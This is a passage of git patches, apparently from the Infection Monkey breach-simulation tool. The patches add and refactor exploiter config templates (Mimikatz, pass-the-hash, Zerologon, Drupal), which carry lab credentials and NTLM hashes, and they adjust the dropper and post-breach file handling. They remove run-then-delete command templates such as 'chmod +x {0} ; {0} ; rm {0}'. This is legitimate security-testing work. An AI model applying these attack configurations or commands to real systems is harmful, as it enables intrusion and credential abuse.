+`envs/monkey_zoo/blackbox/utils/generated_configs` directory with configuration files. diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py new file mode 100644 index 000000000..7ecee6bd7 --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -0,0 +1,69 @@ +import argparse +import pathlib +from typing import Type + +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic +from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock +from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient + +DST_DIR_NAME = 'generated_configs' +DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME) + +parser = argparse.ArgumentParser(description='Generate config files.') +parser.add_argument('island_ip', metavar='IP:PORT', + help='Island endpoint. Example: 123.123.123.123:5000') + +args = parser.parse_args() +island_client = MonkeyIslandClient(args.island_ip) + + +CONFIG_TEMPLATES = [ + Elastic, + Hadoop, + Mssql, + Performance, + ShellShock, + SmbMimikatz, + SmbPth, + Ssh, + Struts2, + Tunneling, + Weblogic, + WmiMimikatz, + WmiPth, + Zerologon +] + + +def generate_templates(): + for template in CONFIG_TEMPLATES: + save_template_as_config(template) + + +def save_template_as_config(template: Type[ConfigTemplate]): + file_path = pathlib.Path(DST_DIR_PATH, f"{template.__name__}.conf") + file_contents = IslandConfigParser.get_raw_config(template, island_client) + save_to_file(file_path, file_contents) + + +def save_to_file(file_path, contents): + with open(file_path, 'w') as file: + file.write(contents) + + +if __name__ == '__main__': + generate_templates() diff --git a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore new file mode 100644 index 000000000..9c558e357 --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore @@ -0,0 +1 @@ +. From 6a6dd6711392c28c084afcd1474997869e593aaa Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 17:16:32 +0200 Subject: [PATCH 414/466] Refactored config templates to inherit from ConfigTemplate class instead of BaseTemplate --- envs/monkey_zoo/blackbox/config_templates/drupal.py | 5 +++-- envs/monkey_zoo/blackbox/config_templates/hadoop.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/mssql.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/shellshock.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/smb_pth.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/ssh.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/struts2.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/weblogic.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/wmi_pth.py | 3 ++- envs/monkey_zoo/blackbox/config_templates/zerologon.py | 3 ++- 13 files changed, 27 insertions(+), 14 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py index da2b41ac6..e202219dc 100644 --- a/envs/monkey_zoo/blackbox/config_templates/drupal.py +++ b/envs/monkey_zoo/blackbox/config_templates/drupal.py @@ -1,9 +1,10 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Drupal(BaseTemplate): +class Drupal(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py index 0d26c4b64..d136068e5 100644 --- a/envs/monkey_zoo/blackbox/config_templates/hadoop.py +++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Hadoop(BaseTemplate): +class Hadoop(ConfigTemplate): config_values = copy(BaseTemplate.config_values) diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py index 1190e5c82..003f9f8d3 100644 --- a/envs/monkey_zoo/blackbox/config_templates/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Mssql(BaseTemplate): +class Mssql(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py index d7e72d61d..71d968e0b 100644 --- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py +++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class ShellShock(BaseTemplate): +class ShellShock(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index 314a0875b..f563bc8d1 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class SmbMimikatz(BaseTemplate): +class SmbMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py index 966116f6d..edee4cdbd 100644 --- a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class SmbPth(BaseTemplate): +class SmbPth(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_value_list = { diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py index 7f36a9dc2..90871e52b 100644 --- a/envs/monkey_zoo/blackbox/config_templates/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Ssh(BaseTemplate): +class Ssh(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py index 9f1633744..6eb399568 100644 --- a/envs/monkey_zoo/blackbox/config_templates/struts2.py +++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Struts2(BaseTemplate): +class Struts2(ConfigTemplate): config_values = copy(BaseTemplate.config_values) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index 0e44765ef..ac735eea4 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Tunneling(BaseTemplate): +class Tunneling(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py index d9167a923..482f7abf9 100644 --- a/envs/monkey_zoo/blackbox/config_templates/weblogic.py +++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Weblogic(BaseTemplate): +class Weblogic(ConfigTemplate): config_values = copy(BaseTemplate.config_values) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py index 8be744f6c..b6dbc0c88 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class WmiMimikatz(BaseTemplate): +class WmiMimikatz(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py index 84d950a86..ddc5cfaba 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class WmiPth(BaseTemplate): +class WmiPth(ConfigTemplate): config_values = copy(BaseTemplate.config_values) config_values.update({ diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py index 7e0fef8d8..28afa281f 100644 --- a/envs/monkey_zoo/blackbox/config_templates/zerologon.py +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -1,9 +1,10 @@ from copy import copy from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -class Zerologon(BaseTemplate): +class Zerologon(ConfigTemplate): config_values = copy(BaseTemplate.config_values) From c234891330defabf496c2dd444023ae9eb16c99f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 17:27:57 +0200 Subject: [PATCH 415/466] Minor fixes in config file generation script: added island IP param in docs and added Drupal to configs --- envs/monkey_zoo/blackbox/utils/README.md | 2 +- envs/monkey_zoo/blackbox/utils/config_generation_script.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/README.md b/envs/monkey_zoo/blackbox/utils/README.md index b5d8e9125..638e54c92 100644 --- a/envs/monkey_zoo/blackbox/utils/README.md +++ b/envs/monkey_zoo/blackbox/utils/README.md @@ -5,5 +5,5 @@ This script is used to generate config files for manual tests. Config file will be generated according to the templates in `envs/monkey_zoo/blackbox/config_templates`. -Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py` to populate +Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py island_ip:5000` to populate `envs/monkey_zoo/blackbox/utils/generated_configs` directory with configuration files. diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 7ecee6bd7..f11fb31f4 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -3,6 +3,7 @@ import pathlib from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql @@ -45,7 +46,8 @@ CONFIG_TEMPLATES = [ Weblogic, WmiMimikatz, WmiPth, - Zerologon + Zerologon, + Drupal ] From a4aee364b450e39608a214ece163f9c8ca702813 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Mar 2021 10:23:35 +0200 Subject: [PATCH 416/466] Ran black on config generation script --- .../utils/config_generation_script.py | 25 ++++++++++++------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index f11fb31f4..603e9fe4d 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -18,15 +18,22 @@ from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon -from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.island_config_parser import ( + IslandConfigParser, +) +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( + MonkeyIslandClient, +) -DST_DIR_NAME = 'generated_configs' +DST_DIR_NAME = "generated_configs" DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME) -parser = argparse.ArgumentParser(description='Generate config files.') -parser.add_argument('island_ip', metavar='IP:PORT', - help='Island endpoint. Example: 123.123.123.123:5000') +parser = argparse.ArgumentParser(description="Generate config files.") +parser.add_argument( + "island_ip", + metavar="IP:PORT", + help="Island endpoint. Example: 123.123.123.123:5000", +) args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) @@ -47,7 +54,7 @@ CONFIG_TEMPLATES = [ WmiMimikatz, WmiPth, Zerologon, - Drupal + Drupal, ] @@ -63,9 +70,9 @@ def save_template_as_config(template: Type[ConfigTemplate]): def save_to_file(file_path, contents): - with open(file_path, 'w') as file: + with open(file_path, "w") as file: file.write(contents) -if __name__ == '__main__': +if __name__ == "__main__": generate_templates() From 92d9226edfbe4e9918041de0712f9f0b8135f9e8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Mar 2021 14:51:35 +0200 Subject: [PATCH 417/466] Bugfixed a couple of config templates. --- .../blackbox/config_templates/elastic.py | 1 + .../blackbox/config_templates/wmi_pth.py | 25 ++++++++++--------- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py index 1385366a8..56021e959 100644 --- a/envs/monkey_zoo/blackbox/config_templates/elastic.py +++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py @@ -10,5 +10,6 @@ class Elastic(ConfigTemplate): config_values.update({ "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"] }) diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py index ddc5cfaba..92746c3df 100644 --- a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -7,15 +7,16 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class WmiPth(ConfigTemplate): config_values = copy(BaseTemplate.config_values) - config_values.update({ - "basic.exploiters.exploiter_classes": ["WmiExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.15"], - "basic.credentials.exploit_password_list": ["Password1!"], - "basic.credentials.exploit_user_list": ["Administrator", - "m0nk3y", - "user"], - "internal.classes.finger_classes": ["PingScanner", - "HTTPFinger"], - "internal.classes.exploits.exploit_ntlm_hash_list": ["5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b"] - }) + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WmiExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.15"], + "basic.credentials.exploit_password_list": ["Password1!"], + "basic.credentials.exploit_user_list": ["Administrator", "m0nk3y", "user"], + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "internal.exploits.exploit_ntlm_hash_list": [ + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], + } + ) From 6a7d08c93e416756bd5d1e7c451d0d6d5cb7508f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Mar 2021 14:51:56 +0200 Subject: [PATCH 418/466] Improved README.md of config file generation script --- envs/monkey_zoo/blackbox/utils/README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/README.md b/envs/monkey_zoo/blackbox/utils/README.md index 638e54c92..69a6b8930 100644 --- a/envs/monkey_zoo/blackbox/utils/README.md +++ b/envs/monkey_zoo/blackbox/utils/README.md @@ -5,5 +5,9 @@ This script is used to generate config files for manual tests. Config file will be generated according to the templates in `envs/monkey_zoo/blackbox/config_templates`. -Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py island_ip:5000` to populate +1. Reset the Island config to contain default configuration. +2. Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py island_ip:5000` to populate `envs/monkey_zoo/blackbox/utils/generated_configs` directory with configuration files. + +!! It's important to target the Island you'll be testing, because configs contain Island's IPs +in the configuration !! From ba6bf7177607fb55a6410ed6452b76df5ff63961 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 9 Mar 2021 11:56:06 -0500 Subject: [PATCH 419/466] agent: Fix typo in HTTPFinger --- monkey/infection_monkey/network/httpfinger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 1ce026c11..86c48cbde 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -45,6 +45,6 @@ class HTTPFinger(HostFinger): except Timeout: LOG.debug(f"Timout while requesting headers from {url}") except ConnectionError: # Someone doesn't like us - LOG.debug(f"ConnetionError while requesting headers from {url}") + LOG.debug(f"Connection error while requesting headers from {url}") return True From 4ac7c0197654ba26b4ba7136921a3533db75d218 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 9 Mar 2021 11:32:52 -0500 Subject: [PATCH 420/466] agent: add 2 new log statements to the dropper --- monkey/infection_monkey/dropper.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index cb7be181d..d98eb8e9e 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -145,6 +145,8 @@ class MonkeyDrops(object): LOG.warning("Seems like monkey died too soon") def cleanup(self): + LOG.info("Cleaning up the dropper") + try: if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ os.path.exists(self._config['source_path']) and \ @@ -166,5 +168,7 @@ class MonkeyDrops(object): LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() + + LOG.info("Dropper cleanup complete") except AttributeError: LOG.error("Invalid configuration options. Failing") From e7528e95448e2298a191ca6930f9eaea1a895186 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 9 Mar 2021 11:35:38 -0500 Subject: [PATCH 421/466] agent: Use PIPE for stdin, stdout, and stderr in dropper The dropper is expected to detatch the child monkey agent process. If stdin, stdout, and stderr are set to `None`, the child process inherits them. Since the child process inherits the parent's file descriptors and holds them open, issues like #1026 can occur. --- monkey/infection_monkey/dropper.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index d98eb8e9e..9b374c9f1 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -134,7 +134,9 @@ class MonkeyDrops(object): 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info("Executed monkey process (PID=%d) with command line: %s", From 3714dd2f6f184a2c4f625e54abb820ed768981db Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 9 Mar 2021 11:39:44 -0500 Subject: [PATCH 422/466] agent: Use the dropper in the DrupalExploiter Fixes #1026 --- monkey/infection_monkey/exploit/drupal.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 5872f4703..04b0ce431 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -36,6 +36,7 @@ class DrupalExploiter(WebRCE): exploit_config = super(DrupalExploiter, self).get_exploit_config() exploit_config['url_extensions'] = ['node/', # In Linux, no path is added 'drupal/node/'] # However, Bitnami installations are under /drupal + exploit_config['dropper'] = True return exploit_config def add_vulnerable_urls(self, potential_urls, stop_checking=False): From 307e1e309314886a940ad8ae3d676294e4a91e36 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 9 Mar 2021 15:19:29 +0530 Subject: [PATCH 423/466] Rephrase custom PBA file descriptions in configuration --- .../cc/services/config_schema/monkey.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 01d463672..faf27c481 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -20,9 +20,9 @@ MONKEY = { "title": "Linux post breach file", "type": "string", "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Linux post breach command' field. " + "description": "File to be uploaded after breaching. " + "If you want the file to be executed, " + "specify it in the 'Linux post breach command' field. " "Reference your file by filename." }, "custom_PBA_windows_cmd": { @@ -35,9 +35,9 @@ MONKEY = { "title": "Windows post breach file", "type": "string", "format": "data-url", - "description": "File to be executed after breaching. " - "If you want custom execution behavior, " - "specify it in 'Windows post breach command' field. " + "description": "File to be uploaded after breaching. " + "If you want the file to be executed, " + "specify it in the 'Windows post breach command' field. " "Reference your file by filename." }, "PBA_windows_filename": { From eeba0513d226758cf11c7da5d6e96927d00d054c Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 9 Mar 2021 18:02:55 +0530 Subject: [PATCH 424/466] Only upload custom PBA file; execute only if specified in custom PBA command --- .../post_breach/actions/users_custom_pba.py | 19 +++---------------- 1 file changed, 3 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 175d6b215..b282bc4bd 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -15,10 +15,6 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - DIR_CHANGE_WINDOWS = 'cd %s & ' DIR_CHANGE_LINUX = 'cd %s ; ' @@ -31,37 +27,28 @@ class UsersPBA(PBA): def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' + if not is_windows_os(): # Add linux commands to PBA's if WormConfiguration.PBA_linux_filename: + self.filename = WormConfiguration.PBA_linux_filename if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd - self.filename = WormConfiguration.PBA_linux_filename - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) - self.command = DEFAULT_LINUX_COMMAND.format(file_path) - self.filename = WormConfiguration.PBA_linux_filename elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: # Add windows commands to PBA's if WormConfiguration.PBA_windows_filename: + self.filename = WormConfiguration.PBA_windows_filename if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd - self.filename = WormConfiguration.PBA_windows_filename - else: - file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) - self.command = DEFAULT_WINDOWS_COMMAND.format(file_path) - self.filename = WormConfiguration.PBA_windows_filename elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd - def _execute_default(self): if self.filename: UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) - return super(UsersPBA, self)._execute_default() @staticmethod def should_run(class_name): From 6f134bdb0362a51323016b51d9b09043045c0049 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 10 Mar 2021 12:28:30 +0530 Subject: [PATCH 425/466] Download custom PBA file during execution, not initialisation --- monkey/infection_monkey/post_breach/actions/users_custom_pba.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index b282bc4bd..dd723c14d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -47,8 +47,10 @@ class UsersPBA(PBA): elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd + def _execute_default(self): if self.filename: UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + return super(UsersPBA, self)._execute_default() @staticmethod def should_run(class_name): From 72a88c81a3e7976ce6d59b02e4c9f9a8a45ffc59 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 8 Mar 2021 13:53:01 +0530 Subject: [PATCH 426/466] Add unit tests --- .../tests/actions/test_users_custom_pba.py | 227 ++++++++++++++++++ 1 file changed, 227 insertions(+) create mode 100644 monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py diff --git a/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py new file mode 100644 index 000000000..dab6ee59e --- /dev/null +++ b/monkey/infection_monkey/post_breach/tests/actions/test_users_custom_pba.py @@ -0,0 +1,227 @@ +import pytest + +from infection_monkey.post_breach.actions.users_custom_pba import ( + DEFAULT_LINUX_COMMAND, DEFAULT_WINDOWS_COMMAND, DIR_CHANGE_LINUX, + DIR_CHANGE_WINDOWS, UsersPBA) + +MONKEY_DIR_PATH = "/dir/to/monkey/" +CUSTOM_LINUX_CMD_SEPARATE = "command-for-linux" +CUSTOM_LINUX_FILENAME = "filename-for-linux" +CUSTOM_LINUX_CMD_RELATED = f"command-with-{CUSTOM_LINUX_FILENAME}" +CUSTOM_WINDOWS_CMD_SEPARATE = "command-for-windows" +CUSTOM_WINDOWS_FILENAME = "filename-for-windows" +CUSTOM_WINDOWS_CMD_RELATED = f"command-with-{CUSTOM_WINDOWS_FILENAME}" + + +@pytest.fixture +def fake_monkey_dir_path(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.get_monkey_dir_path", + lambda: MONKEY_DIR_PATH, + ) + + +@pytest.fixture +def set_os_linux(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + lambda: False, + ) + + +@pytest.fixture +def set_os_windows(monkeypatch): + monkeypatch.setattr( + "infection_monkey.post_breach.actions.users_custom_pba.is_windows_os", + lambda: True, + ) + + +@pytest.fixture +def 